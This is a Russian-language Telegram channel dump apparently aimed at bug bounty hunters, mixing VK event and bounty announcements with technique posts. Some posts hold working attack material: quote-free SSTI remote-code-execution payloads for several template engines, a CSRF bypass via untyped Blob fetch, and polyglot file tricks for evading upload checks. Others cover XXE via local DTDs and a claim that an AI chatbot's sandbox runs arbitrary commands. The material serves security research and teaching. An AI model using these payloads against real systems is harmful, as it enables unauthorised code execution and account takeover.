Об XSS с мутациями (mutation-based XSS или mXSS) в сообществе багхантеров известно уже давно, но так ли часто вам удается их найти в реальных багбаунти-программах? С Dom-Explorer точно удастся.
mXSS использует код, который воспринимается HTML-санитайзерами как безопасный, а после прохождения очистки мутирует во вредоносный. В этом и состоит парадоксальность и опасность этого типа XSS атак.
Dom-Explorer как раз полезен для обнаружения и поиска mXSS. Он демонстрирует, как популярные средства парсинга HTML реагируют на любую заданную HTML-строку, чтобы помочь вам выявить непредвиденное поведение, которое может открыть новые перспективные области для исследований.
Главная фича — скорость тестирования новых идей и мгновенное отображение результатов. Инструмент, на который он больше всего похож, — это Live DOM Viewer с более скудными возможностями. А вдохновлялся автор всем известным Cyberchef.
До появления Dom-Explorer проведение такого рода исследований занимало гораздо больше времени — «особенно если вы тестируете глубоко вложенные элементы» — и включало гораздо больше этапов, говорит разработчик инструмента. Иногда это было практически «невозможно сделать с помощью классических инструментов».
#инструменты
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8
Forwarded from InfoSec VK Hub
Спойлерим программу конференции VK Security Confab Max
💥 Опубликовали на сайте программу нашей конференции VK Security Confab Max 11 декабря
Что нас ждет? Как и обещали – лютый хардкор!
🤘 Нон-стоп!
Два трека с техническими докладами от ведущих экспертов VK и крупнейших BigTech-компаний.
Ключевые темы:
⭐️ Работа SOC в BigTech: управление алертами и потоком событий, требования к SIEM, а также обнаружение атак.
🛡 Защита инфраструктуры: Service Mesh, эволюция сканирования распределенной инфраструктуры и обнаружение открытых портов.
🎮 Уязвимости: Построение Vulnerability Management в современных реалиях, эксплуатация уязвимостей SSRF и mXSS и защита от них.
🔍 Bug Bounty: концепция Bug Bounty 2.0, защищенность соцсетей и серьезные уязвимости в системах, которые можно обнаружить не только багхантерам.
⚙️ Безопасность приложений (AppSec): безопасность API c применением ML и AI, поиск и приоритизация уязвимостей в зависимостях, разбор популярных сканеров и их недостатков.
💭 Защита облачных технологий: харденинг k8s, защита от атак в публичном облаке, а также техническое устройство сетевой изоляции в облаке.
📍 Москва, офис VK + трансляция онлайн
📅 11 декабря 2024 года
Участие бесплатное, но мест мало
👉 жмите, чтобы зарегистрироваться и узнать программу
➡️ Подписывайтесь на канал VK Security, чтобы не пропустить новости о мероприятии
#confab #max #конференция
Что нас ждет? Как и обещали – лютый хардкор!
Два трека с техническими докладами от ведущих экспертов VK и крупнейших BigTech-компаний.
Ключевые темы:
Участие бесплатное, но мест мало
👉 жмите, чтобы зарегистрироваться и узнать программу
#confab #max #конференция
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
Но когда в реализацию вносятся дополнительные изменения или когда игнорируются передовые практики безопасности, могут возникнуть всевозможные баги 2FA, которые создают предпосылки для обхода любой обязательной многофакторной аутентификации.
Разберем несколько простых способов обхода 2FA и не только:
POST /api/auth/2fa/verify HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: ...
GET /api/ HTTP/1.1
Host: api-prod. internal: 3001
X-User-Id: 84556
#этобаза
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8
Forwarded from Видеоканал Global Digital Space
Рынок уязвимостей | пентесты и BAS-технологии | Эпизод 6
Как изменился мир пентестов, и почему Breach and Attack Simulation (BAS) становится трендом? 🤔
Что обсудили:
⚫️ Топовые инструменты: Burp Suite, Cobalt Strike, Sliver – что выбирают пентестеры?
⚫️ BAS-технологии: заменят ли они классические пентесты?
🎙Наши эксперты:
Модератор: Лука Сафонов, Киберполигон
Спикеры:
⚫️ Дмитрий Курамин, Инфосистемы Джет
⚫️ Анатолий Песковский, Информзащита
⚫️ Сергей Куприн, CtrlHack
📱 VK | 📺 RUTUBE | 📺 YouTube |
🖤 Смотрите подкаст, ставьте лайки и делитесь своим мнением.
Как изменился мир пентестов, и почему Breach and Attack Simulation (BAS) становится трендом? 🤔
Что обсудили:
🎙Наши эксперты:
Модератор: Лука Сафонов, Киберполигон
Спикеры:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6
Forwarded from InfoSec VK Hub
Bounty pass#3: Advent — на финишной прямой
19 декабря закончится наш предновогодний багхантерский марафон и завершим Bounty pass#3: Advent мы шумной вечеринкой BB Advent Party.🕺
А пока смотрите, что скрывало последнее окошко в нашем адвент-календаре для багхантеров — промокод на 150 000 рублей!😲
🏃 Есть еще сегодня, выходные и 4 суток, чтобы собрать все подарки адвента! Го сдавать ваши отчеты в программы VK Bug Bounty на платформах Standoff, BI.ZONE Bug Bounty и Bugbounty.ru!
@VK Security
#bugbounty #bountypass #advent
19 декабря закончится наш предновогодний багхантерский марафон и завершим Bounty pass#3: Advent мы шумной вечеринкой BB Advent Party.
А пока смотрите, что скрывало последнее окошко в нашем адвент-календаре для багхантеров — промокод на 150 000 рублей!
@VK Security
#bugbounty #bountypass #advent
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3
Хантеры, готовы к новогоднему подгону от VK?
Область поиска: веб-ресурсы и мобильные платформы Android и iOS, и TV.
Двухуровневый скоуп:
vkvideo.ru, m.vkvideo.ru, api.vkvideo.ru — до 2,4 млн
live.vkvideo.ru — до 1,2 млн
Время открывать баги и зарабатывать по-крупному!
Программа уже тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7
Forwarded from InfoSec VK Hub
Media is too big
VIEW IN TELEGRAM
Не смогли попрощаться с Bounty pass в 2024 году, поэтому теперь Bounty pass – навсегда! 🔥
Мы ярко провели юбилейный для VK Bug Bounty год: запустили программу лояльности для багхантеров, отменили лимиты на максимальные выплаты благодаря накопительному бонусу, провели серию специальных ивентов... И поняли, что не время прощаться!
С этого дня мы запускаем Bounty pass: Forever!🎉
Что будет?
🛍 Накопительный бонус по уровню критичности: до +5% к каждому следующему вознаграждению. ☝️Запоминаем: чем больше находишь критических уязвимостей – тем больше бонус!
🗓 Срок действия бонуса – 1 год с момента сдачи отчета
➕ Все бонусы суммируются
🏆 Все участники Bounty pass в 2024 году получают 5% к каждому оплачиваемому отчету до конца 2025 года. А если багхантер отправил за год более 10 оплачиваемых отчетов или заработал более 1 миллиона рублей, то он получает на старте сразу 10%.
🎁 Мерч (как же без него 😏 ):
каждый квартал будем дарить крутой мерч всем багхантерам, которые сдадут 4+ оплачиваемых отчета или получат вознаграждение больше 400 000 рублей.
👉 Все детали новых условий собрали на новом сайте
Ждем ваши новые отчеты в программе VK Bug Bounty на платформах Standoff, BI.ZONE Bug Bounty и Bugbounty.ru!
@VK Security
#bugbounty #bountypass #forever
Мы ярко провели юбилейный для VK Bug Bounty год: запустили программу лояльности для багхантеров, отменили лимиты на максимальные выплаты благодаря накопительному бонусу, провели серию специальных ивентов... И поняли, что не время прощаться!
С этого дня мы запускаем Bounty pass: Forever!
Что будет?
каждый квартал будем дарить крутой мерч всем багхантерам, которые сдадут 4+ оплачиваемых отчета или получат вознаграждение больше 400 000 рублей.
Ждем ваши новые отчеты в программе VK Bug Bounty на платформах Standoff, BI.ZONE Bug Bounty и Bugbounty.ru!
@VK Security
#bugbounty #bountypass #forever
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7
Один из примеров действительно грамотных методологий разведки привел Jason Haddix (The Bug Hunter's Methodology v4.0 - Recon Edition). В полтора часа выступления он вместил ключевые аспекты разведки. Они в большей степени подходят для программ с большим скоупом, но здесь важно уловить концепцию.
Помните, что автоматизация без контекста может только вредить, поэтому важно понимать, что именно вы сканируете и что автоматизируете.
Методологии jhaddix — это не просто руководство, а целая философия багхантинга. Используйте их, чтобы улучшить свои навыки и находить действительно уникальные баги.
#этобаза
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12
🔍 Мониторинг JavaScript-файлов для поиска уязвимостей
В ходе разведки багхантеры обычно начинают с изучения скрытых активов, директорий, файлов и эндпоинтов. Однако они часто упускают из виду интересную информацию, которая загружается по умолчанию, — JavaScript-файлы.
Если мониторить изменения в JavaScript-файлах в режиме реального времени, можно обнаружить новые функции или изменения в существующих, которые потенциально могут быть уязвимыми. Также не стоит забывать про случайно опубликованные секреты, которые можно найти в коде.
Для тех, кто ценит автоматизацию, мониторинг JavaScript-файлов — это настоящий кладезь для изучения. Начните с JSMon — инструмента для мониторинга изменений в JavaScript-файлах. Этот инструмент позволяет отслеживать обновления файлов и анализировать их содержимое.
Для парсинга используется библиотека Tree-sitter, представляющая собой инструмент инкрементального парсинга. Она строит синтаксическое дерево исходного файла и эффективно обновляет его при редактировании. Это позволяет легко анализировать изменения в JavaScript-файлах.
Еще один полезный инструмент — jsluice. Это простой Go-пакет и CLI-инструмент для извлечения URL-адресов, путей, секретов и других ценных данных из исходного кода JavaScript.
Чтобы улучшить автоматизацию, jsluice можно использовать в связке с Notify от ProjectDiscovery. Этот инструмент транслирует выходные данные нескольких утилит (или считывает их из файла) и публикует уведомления на различных платформах, таких как Slack, Discord, Telegram и другие.
#инструменты
В ходе разведки багхантеры обычно начинают с изучения скрытых активов, директорий, файлов и эндпоинтов. Однако они часто упускают из виду интересную информацию, которая загружается по умолчанию, — JavaScript-файлы.
Если мониторить изменения в JavaScript-файлах в режиме реального времени, можно обнаружить новые функции или изменения в существующих, которые потенциально могут быть уязвимыми. Также не стоит забывать про случайно опубликованные секреты, которые можно найти в коде.
Для тех, кто ценит автоматизацию, мониторинг JavaScript-файлов — это настоящий кладезь для изучения. Начните с JSMon — инструмента для мониторинга изменений в JavaScript-файлах. Этот инструмент позволяет отслеживать обновления файлов и анализировать их содержимое.
Для парсинга используется библиотека Tree-sitter, представляющая собой инструмент инкрементального парсинга. Она строит синтаксическое дерево исходного файла и эффективно обновляет его при редактировании. Это позволяет легко анализировать изменения в JavaScript-файлах.
Еще один полезный инструмент — jsluice. Это простой Go-пакет и CLI-инструмент для извлечения URL-адресов, путей, секретов и других ценных данных из исходного кода JavaScript.
Чтобы улучшить автоматизацию, jsluice можно использовать в связке с Notify от ProjectDiscovery. Этот инструмент транслирует выходные данные нескольких утилит (или считывает их из файла) и публикует уведомления на различных платформах, таких как Slack, Discord, Telegram и другие.
#инструменты
1👍7
Команда Doyensec поделилась исследованием, раскрывающим кейсы эксплуатации слабых мест проверок для выполнения сложных атак, включая CSPT, CSRF и XSS.
JSON — популярный формат передачи данных, который можно использовать для обхода проверок загрузки. Многие приложения проверяют загружаемые файлы, используя библиотеки и инструменты для проверки MIME-типа и структуры. Однако правильно сформированный JSON может пройти эти проверки и быть обработан на стороне клиента.
Исследование показывает, как создать файл, который будет распознаваться как PDF, но при этом оставаться валидным JSON для клиента:
•
mmmagic (обычно используется в приложениях Node.js для определения типов файлов): достаточно поместить заголовок %PDF в первые 1024 байта. •
pdflib: Использование допустимой структуры PDF с минимальными корректировками (например, замена %0A на %20).fileКоманда
file ограничивает количество байтов для анализа. Это ограничение можно использовать, добавив в файл большое количество пробелов. Проверка файла завершится ошибкой, и файл классифицируется как PDF.Создание JSON-файла с магическими байтами
WEBP в нужном месте позволяет пройти проверку формата изображения: {"aaa": "WEBP", "_id": "../../../../CSPT?"}Что использовать:
• Создание файлов, которые валидны сразу для нескольких форматов.
• Анализ исходного кода библиотек проверки (например, mmmagic, pdflib, file-type).
• Эксплуатация технических ограничений, таких как лимиты чтения данных.
Где применимо:
• CSPT → обход путей на стороне клиента.
• CSRF → выполнение межсайтовых запросов.
• XSS → внедрение вредоносного JavaScript.
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍10
Любые функции, которые поддерживают расширенную пользовательскую разметку, могут быть уязвимы для SSTI, включая wiki-страницы, обзоры, маркетинговые приложения, CMS-системы и т. д.
По умолчанию многие шаблонизаторы имеют включенное автоматическое экранирование или выполняют экранирование HTML перед процессом рендеринга шаблона. Иногда это значительно усложняет сценарий эксплуатации из-за фильтрации кавычек, используемой для рендеринга строковых данных.
Без строковых данных в какой-либо форме RCE значительно сложнее достичь для некоторых шаблонизаторов, ярким примером которых является Twig. Однако для других эксплуатация остается относительно простой даже без использования кавычек.
Так почему бы не создать набор пэйлоадов для популярных шаблонизаторов с импактом RCE, которые используют только дефолтные функции и методы из шаблонизатора и не используют какие-либо кавычки или ресурсы, доступные за пределами самого шаблонизатора? Это гарантировало бы работу пэйлоада в максимально возможном количестве сценариев эксплуатации.
Разберем несколько примеров, а остальные читайте в исследовании багхантера из YesWeHack:
🟠 Jinja2 (Python) позволяет выполнять Python-код через глобальные переменные:
Получение строки
Выполнение команды
🟠 Twig (PHP) отличается сложностью из-за автоматического экранирования, но RCE возможна через функции
Эксплуатация через двойной рендеринг:
🟠 Smarty (PHP) использует функцию
Выполнение команды
🟠 Razor (ASP.NET) поддерживает выполнение C#-кода, позволяя напрямую запускать системные команды:
Генерация команды
Выполнение команды:
🟠 Groovy (Java) использует
🟠 FreeMarker (Java) преобразует числа в строки через
По умолчанию многие шаблонизаторы имеют включенное автоматическое экранирование или выполняют экранирование HTML перед процессом рендеринга шаблона. Иногда это значительно усложняет сценарий эксплуатации из-за фильтрации кавычек, используемой для рендеринга строковых данных.
Без строковых данных в какой-либо форме RCE значительно сложнее достичь для некоторых шаблонизаторов, ярким примером которых является Twig. Однако для других эксплуатация остается относительно простой даже без использования кавычек.
Так почему бы не создать набор пэйлоадов для популярных шаблонизаторов с импактом RCE, которые используют только дефолтные функции и методы из шаблонизатора и не используют какие-либо кавычки или ресурсы, доступные за пределами самого шаблонизатора? Это гарантировало бы работу пэйлоада в максимально возможном количестве сценариев эксплуатации.
Разберем несколько примеров, а остальные читайте в исследовании багхантера из YesWeHack:
Получение строки
id: {{self.__init__.__globals__.__str__()[1786:1788]}}
Выполнение команды
id с помощью os.popen: {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
passthru: Эксплуатация через двойной рендеринг:
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
chr для построения строк. Выполнение команды
id: {{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
Генерация команды
whoami:@{string x=null;int[]l={119,104,111,97,109,105};foreach(int c in l){x+=((char)c).ToString();};}@x
Выполнение команды:
@System.Diagnostics.Process.Start("cmd.exe", "whoami");
execute для запуска полученной строковой команды как системной:${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}
lower_abc, что позволяет создавать пэйлоад для выполнения команд:${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}Please open Telegram to view this post
VIEW IN TELEGRAM
1👍15
📸 gowitness — простой Go-инструмент, который делает скриншоты, регистрирует HTTP-статусы и собирает сведения о сервере. Это делает его идеальным для разведки, когда у вас есть длинный список доменов для анализа.
Установка:
go install github.com/sensepost/gowitness@latest
Запуск:
gowitness scan single --url "https://example.com" --write-db
P. S. Можно скачать бинарь, если не хотите устанавливать gowitness.
⚒️ Похожие инструменты:
• EyeWitness
• WitnessMe
• Snapback
• Aquatone
#инструменты #разведка
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍6
Уязвимости при загрузке файлов возникают из-за небезопасной реализации функционала загрузки, особенно когда компонент выполняет слабую или вовсе не выполняет проверку загруженного файла. Критичность этого класса уязвимостей может быть разнообразной: от stored XSS до RCE.
Условия для успешной эксплуатации:
❣️ Доступ к файлу: необходимо знать полный путь к файлу, чтобы обратиться к нему.
❣️ Тип контента: если сервер меняет MIME-тип файла на безопасный, выполнение кода может стать невозможным.
Базовые методы эксплуатации:
❣️ Загрузка файла с вредоносным кодом, например, PHP-скрипта.
❣️ Обход client side ограничений (HTML-атрибут
Обход защитных механизмов:
❣️ Черные списки расширений: использование нестандартных расширений или манипуляция именем файла.
❣️ Белые списки расширений: использование разрешенных расширений с вредоносным содержимым.
❣️ Проверка MIME-типа: загрузка файла с корректным MIME-типом, но вредоносным содержимым.
Примеры сложных атак:
❣️ Перезапись конфигурационных файлов (например,
❣️ Использование магических байтов: изменение первых байтов файла для прохождения проверки типа.
💡 Важные советы:
❣️ Комбинируйте методы обхода для выявления слабых мест.
❣️ Учитывайте особенности технологий на стороне сервера и создавайте специализированный пэйлоад.
❣️ Не знаете, с каким списком имеете дело: черным или белым? Попробуйте загрузить файл с произвольным расширением. Если он был принят, скорее всего, используется черный список. Если загрузка отклонена, скорее всего, это строго определенный белый список.
🔗 Погрузиться подробнее
🔗 Fuxploider — инструмент для автоматизации обнаружения и эксплуатации недостатков форм загрузки файлов
🔗 Upload Scanner — сканер загрузки файлов для Burp Suite
🔗 FileUpload — расширение OWASP ZAP для поиска уязвимостей в функциональности загрузки файлов
🔗 Заметки на PayloadsAllTheThings
Условия для успешной эксплуатации:
Базовые методы эксплуатации:
accept) с помощью прокси для изменения данных HTTP-запроса.Обход защитных механизмов:
Примеры сложных атак:
.htaccess) для изменения настроек сервера.Please open Telegram to view this post
VIEW IN TELEGRAM
1👍5
Процесс выявления несвязанных, неиспользуемых или просто скрытых параметров, которые принимаются веб-приложением и могут позволить пользователю управлять поведением приложения с помощью этих скрытых параметров, часто называют parameter discovery.
Cкрытые параметры могут позволить управлять поведением приложения и привести к успешной реализации многих сценариев атак: от XSS и SQL-инъекций до внедрения команд и IDOR.
⚙️ Ниже — несколько полезных инструментов, которые помогут автоматизировать и упростить эту работу:
💜 x8 (Rust): помогает выявлять скрытые параметры, которые потенциально могут быть уязвимыми, или интересные функции, которые могут быть упущены другими багхантерами.
Его высокая точность достигается за счёт построчного сравнения страниц, сравнения кодов HTTP-ответов и анализа результатов вывода.
💜 Arjun (Python): находит допустимые HTTP-параметры с помощью огромного дефолтного словаря. Словарь можно изменить в случае необходимости.
💜 ParamSpider (Python): ищет параметры в веб-архивах, поддоменах и других источниках.
💜 Param-Miner (расширение Burp Suite): используется для поиска скрытых и несвязанных параметров, особенно при поиске уязвимостей вроде Web Cache Poisoning.
Инструмент включает расширенную логику сравнения из Backslash Powered Scanner с методом бинарного поиска, чтобы угадывать до 65 000 названий параметров в каждом запросе. Названия параметров берутся из встроенного словаря и из всего трафика в скоупе.
🥷🏿 Простой пример автоматизации
1. Parameter discovery с помощью ParamSpider:
2. Запуск шаблонов XSS gf для извлечения параметров, которые могут быть уязвимы для XSS:
3. Запуск dalfox в отношении тех URL-адресов, которые потенциально уязвимы для XSS:
#инструменты #разведка
Cкрытые параметры могут позволить управлять поведением приложения и привести к успешной реализации многих сценариев атак: от XSS и SQL-инъекций до внедрения команд и IDOR.
Его высокая точность достигается за счёт построчного сравнения страниц, сравнения кодов HTTP-ответов и анализа результатов вывода.
Инструмент включает расширенную логику сравнения из Backslash Powered Scanner с методом бинарного поиска, чтобы угадывать до 65 000 названий параметров в каждом запросе. Названия параметров берутся из встроенного словаря и из всего трафика в скоупе.
🥷🏿 Простой пример автоматизации
1. Parameter discovery с помощью ParamSpider:
python3 paramspider.py --domain <target_domain> --level high --output params.txt
2. Запуск шаблонов XSS gf для извлечения параметров, которые могут быть уязвимы для XSS:
gf xss.json params.txt | tee xss.txt
3. Запуск dalfox в отношении тех URL-адресов, которые потенциально уязвимы для XSS:
cat xss.txt | dalfox pipe
#инструменты #разведка
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5
Существует множество способов, с помощью которых веб-приложения реализуют защиту от CSRF-атак. Методы защиты, которые являются скорее неявными, чем явными, обычно более рискованны, особенно если они полагаются на неизменность политики браузеров в отношении допустимых действий.
Одной из интересных попыток защиты от CSRF является отклонение запросов с заголовком Content-Type, отличным от
💡 Если защита от CSRF реализована как показано в примере выше, есть новый способ обхода. Он основан на том, что API
Это важно, так как
Использование
Результирующий POST-запрос с Content-Length, но без Content-Type:
#техники
Одной из интересных попыток защиты от CSRF является отклонение запросов с заголовком Content-Type, отличным от
application/json. Эффективность этого подхода связана с тем, что браузеры разрешают отправку запросов с заголовками только application/x-www-form-urlencoded, multipart/form-data и text/plain (а также, возможно, несколькими другими исключениями) в cross-site запросах. Можно отправлять произвольные значения, но только в том случае, если сайт-получатель предоставил разрешение через CORS. fetch принимает в качестве параметра body не только String, но и объекты типа Blob. Это важно, так как
Blob — более сложный объект, чем строка: он содержит не только данные, но и связанную с ними информацию о типе, либо может вовсе не иметь типа. Создав объект Blob без типа и передав его в функцию fetch, можно отправить cross-site POST-запрос без CORS, который не будет содержать заголовок Content-Type. Это применимо не только для пустого тела запроса, поскольку данные, переданные в Blob, становятся телом HTTP-запроса.Использование
fetch для POST-запроса без Content-Type:fetch("https://victim.com", {
method: "POST",
body: new Blob(["payload"])
});
Результирующий POST-запрос с Content-Length, но без Content-Type:
POST / HTTP/1.1
Host: victim.com
Connection: keep-alive
Content-Length: 7
sec-ch-ua: "Google Chrome …."
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 …
sec-ch-ua-platform: "Linux"
Accept: */*
Origin: https://example.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://example.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en;q=0.9
payload
#техники
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍6
В одном из недавних постов мы разбирались с понятием parameter discovery. Приведенные инструменты помогут в выявлении скрытых эндпоинтов, недокументированных параметров и незамеченных путей, которые расширяют зону атаки.
Сегодня мы пойдем дальше и познакомимся с такими практическими методами, как фаззинг параметров, forced browsing и поиск путей/параметров, а также разберемся, как использовать целевые словари, парсить файлы и анализировать JavaScript, чтобы находить точки входа для более результативного багхантинга.
1️⃣ После получения полной структуры приложения с помощью Burp Suite, проанализируйте файлы robots.txt и sitemap.xml на наличие пропущенных путей, используйте Google-дорки и инструменты из предыдущего поста для улучшения процесса поиска параметров.
2️⃣ Сделайте акцент на анализе JavaScript-файлов. Это помогает понять, какие параметры стоит начать фаззить, какие роуты, скорее всего, обрабатывают конфиденциальные данные и где могут быть неправильные настройки.
Полезные инструменты:
🖤 LinkFinder — простой Python-скркипт, который сканирует JavaScript-файлы и извлекает URL-адреса, пути и параметры.
🖤 jsluice — Go-пакет и CLI-инструмент для извлечения URL-адресов, путей, секретов и других интересных данных из исходников JavaScript.
🖤 JavaScript bookmarklet — сниппет JavaScript-кода, сохранённый в виде закладки в браузере. При нажатии на любую веб-страницу код запускается в браузере и извлекает информацию без использования внешних инструментов или переключения контекста.
👉 Пример извлечения эндпоинтов из JavaScript:
🖤 Расширения Burp Suite для анализа JavaScript: JSLinkFinder, GAP, JSpector и другие.
3️⃣ Фаззинг — отправка различных, часто неожиданных входных данных, включая пути, параметры или HTTP-заголовки, на эндпоинты приложения.
👉 Цель: спровоцировать пограничные случаи, выявить функции, которые никогда не предназначались для публичного использования, и обнаружить слабые места в логике приложения.
👉 Основные возможности:
🖤 Обнаружение скрытых или секретных эндпоинтов.
🖤 Выявление неправильных настроек или проблем с контролем доступа.
🖤 Автоматизация изучения поведения целевого веб-приложения.
🖤 Понимание механизмов работы целевого веб-приложения.
👉 Основные этапы:
💚 Определите базовый уровень: начните с эндпоинтов, которые вы уже обнаружили с помощью ручного сканирования, анализа JavaScript и forced browsing.
💚 Forced browsing: даже хорошо защищённые приложения иногда полагаются на предсказуемые соглашения об именовании, оставшиеся файлы резервных копий или директории по умолчанию, которые, по мнению разработчиков, не будут найдены.
Используя эти предположения, forced browsing предполагает систематическое угадывание путей к файлам, директориям и расширениям для доступа к скрытым или ограниченным ресурсам. Простой пример:
💚 Изучение распространенных административных или других директорий.
4️⃣ Словари: предоставляют входные данные для тестирования эндпоинтов и параметров.
🖤 Общие: common.txt, fuzz.txt.
🖤 Для конкретного языка программирования, фреймворка или стека: ColdFusion и другие.
5⃣ Фаззинг с помощью CLI-инструментов: поиск путей/директорий/расширений, parameter discovery.
Полезные инструменты: feroxbuster, ffuf, dirb, gobuster.
6⃣ Фаззинг с помощью Burp Intruder.
#техники #инструменты #разведка
Сегодня мы пойдем дальше и познакомимся с такими практическими методами, как фаззинг параметров, forced browsing и поиск путей/параметров, а также разберемся, как использовать целевые словари, парсить файлы и анализировать JavaScript, чтобы находить точки входа для более результативного багхантинга.
Полезные инструменты:
👉 Пример извлечения эндпоинтов из JavaScript:
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0–9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();👉 Цель: спровоцировать пограничные случаи, выявить функции, которые никогда не предназначались для публичного использования, и обнаружить слабые места в логике приложения.
👉 Основные возможности:
👉 Основные этапы:
Используя эти предположения, forced browsing предполагает систематическое угадывание путей к файлам, директориям и расширениям для доступа к скрытым или ограниченным ресурсам. Простой пример:
settings.php.bak, settings.bak, settings.php.old, settings.old, settings_old.php, settings.php~.Полезные инструменты: feroxbuster, ffuf, dirb, gobuster.
#техники #инструменты #разведка
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍8
Вы когда-нибудь сталкивались с веб-приложением, возвращающим ответ XML? Оно может скрывать уязвимость XXE.
💡 Несколько советов, которые помогут эффективно выявлять и эксплуатировать эту уязвимость:
1️⃣ Определите точку входа: ищите пэйлоад XML в HTTP-запросах или функционале загрузки файлов.
Он может появляться в API, SOAP-сервисах или функционале анализа документов (например, SVG, DOCX и т. д.). Попробуйте изменить HTTP-заголовок Content-Type на
2️⃣ Error-based feedback: если сервер отклоняет запрос, проверьте наличие конкретных сообщений об ошибках, которые могут указывать на ограниченное использование DTD. К распространенным ошибкам относятся:
• DOCTYPE is not allowed;
• Parsing error: External entities are disabled;
• Invalid entity Declaration.
Если появляются такие ошибки, использование DTD может быть заблокировано.
3️⃣ Blind XXE с внешним ресурсом: проверьте наличие слепой XXE путем загрузки удаленного ресурса, который вы контролируете.
Вы можете использовать Burp Collaborator или другие инструменты для подтверждения уязвимости путем обнаружения DNS или HTTP колбэков. Это возможно в случае, если сервер может делать запросы к внешним ресурсам (пример #1).
4️⃣ Использование локальных файлов DTD в Linux: некоторые Linux-системы хранят файлы DTD, которые можно использовать для эксплуатации XXE.
Например, файл
5️⃣ Обход WAF через кодировку символов: XML-парсеры определяют кодировку с помощью HTTP-заголовков, BOM или декларации XML.
Вы можете использовать это для обхода WAF, преобразуя пэйлоад в другую кодировку (пример #3).
#техники
Он может появляться в API, SOAP-сервисах или функционале анализа документов (например, SVG, DOCX и т. д.). Попробуйте изменить HTTP-заголовок Content-Type на
application/xml или text/xml, чтобы увидеть ответ сервера.• DOCTYPE is not allowed;
• Parsing error: External entities are disabled;
• Invalid entity Declaration.
Если появляются такие ошибки, использование DTD может быть заблокировано.
Вы можете использовать Burp Collaborator или другие инструменты для подтверждения уязвимости путем обнаружения DNS или HTTP колбэков. Это возможно в случае, если сервер может делать запросы к внешним ресурсам (пример #1).
/usr/share/xml/fontconfig/fonts.dtd
Например, файл
fonts.dtd содержит внедряемую сущность %constant, которую можно переопределить для включения вредоносной сущности. Это позволяет перехватить процесс парсинга и внедрить свой пэйлоад (пример #2).Вы можете использовать это для обхода WAF, преобразуя пэйлоад в другую кодировку (пример #3).
#техники
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5
Forwarded from Информационная опасность
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
Forwarded from Информационная опасность
Хайповая AGI deepseek позволяет выполнять произвольные команды, на виртуальном окружении, в котором запущен агент вашей сессии чат-бота с генеративным искусственным интеллектом. Это дает возможность, в том числе и злоумышленникам, использовать мощности этой экосистемы для атак или вредоносных действий.
Please open Telegram to view this post
VIEW IN TELEGRAM
👎18👍1